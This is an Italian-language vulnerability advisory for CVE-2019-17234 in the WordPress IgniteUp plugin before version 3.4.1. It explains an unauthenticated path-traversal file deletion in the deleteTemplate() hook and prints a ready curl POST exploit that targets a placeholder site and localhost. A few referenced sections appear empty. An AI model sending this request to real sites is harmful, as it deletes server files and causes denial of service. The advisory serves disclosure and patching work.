
Wordpress IgniteUp plugin < 3.4.1 permette a utenti non autenticati di eliminare arbitrariamente file sul server web causando potenzialmente un DoS.
Il plugin Wordpress IgniteUp v3.4 e versioni precedenti consente a utenti remoti non autenticati di eliminare potenzialmente qualsiasi file sul server web di destinazione, causando possibilmente un attacco Denial of Service.
La vulnerabilità è stata segnalata al team di wordpress.org il 20 settembre 2019 e una nuova versione del plugin 3.4.1 è stata rilasciata l'8 novembre 2019.[3]
IgniteUp è un popolare plugin Wordpress per eseguire la configurazione e la gestione di pagine di destinazione del sito web per far sapere agli utenti che il sito è in arrivo, in manutenzione o in costruzione.
Il plugin viene fornito con 5 modelli predefiniti gratuiti: believe, cleaner, glass, launcher, offline.
I nomi dei modelli sono evidenziati poiché è richiesto un parametro [template-name] corretto per eseguire una richiesta valida al server web per sfruttare la vulnerabilità.
[AVVERTENZA]
Il seguente comando di esempio potrebbe essere sufficiente per rompere il tuo sito Wordpress, in questo caso eliminando i file principali del plugin IgniteUp.
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[NOTA] Il comando precedente esegue un directory traversal all'interno del percorso relativo del plugin; con i permessi appropriati (755 per le directory del server web e 644 per i file del server web) e chowner (utente www-data, apache ecc.), la superficie di attacco è limitata fino alla directory root del server (ad es. /var/www/html).
La funzione responsabile che introduce questa vulnerabilità è evidenziata di seguito; il file di riferimento si trova in wp-content/plugins/igniteup/includes/class-coming-soon-creator.php, file che, come suggerisce il nome, gestisce la creazione di nuovi modelli personalizzati e l'eliminazione di quelli predefiniti/creati.
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
admin_init sulla prima riga è un hook di azione di Wordpress. Gli hook[2] costituiscono la base per come plugin e temi interagiscono con il core di Wordpress, ma sono anche ampiamente utilizzati dal core stesso.
Purtroppo la funzione associata all'hook di azione, deleteTemplate(), non ha controlli di amministratore/utente; fornisce al lettore abbastanza indizi su come eseguire tale azione. Guardando il codice è banale individuare il parametro POST php delete_template; questo, sommato all'azione dell'hook admin_init, è conoscenza sufficiente per tentare di eseguire una richiesta POST al server web tramite l'interfaccia /wp-admin/admin-post.php come indicato nel paragrafo del codice exploit.
[NOTA PERSONALE] Analizzando il comportamento usuale del plugin da una prospettiva di amministratore Wordpress, è piuttosto strano trovare questa funzione (suppongo sia un residuo di versioni precedenti), per i seguenti motivi:
Ecco un esempio di cosa accade durante unlink quando provo a distruggere un modello.
test admin-ajax.php confronto v3.4.1
[1] changelog v3.4.1 - https://it.wordpress.org/plugins/igniteup/#developers
[2] Hook Wordpress - https://developer.wordpress.org/plugins/hooks/
[3] Riferimento NIST CVE-2019-17234 - https://nvd.nist.gov/vuln/detail/CVE-2019-17234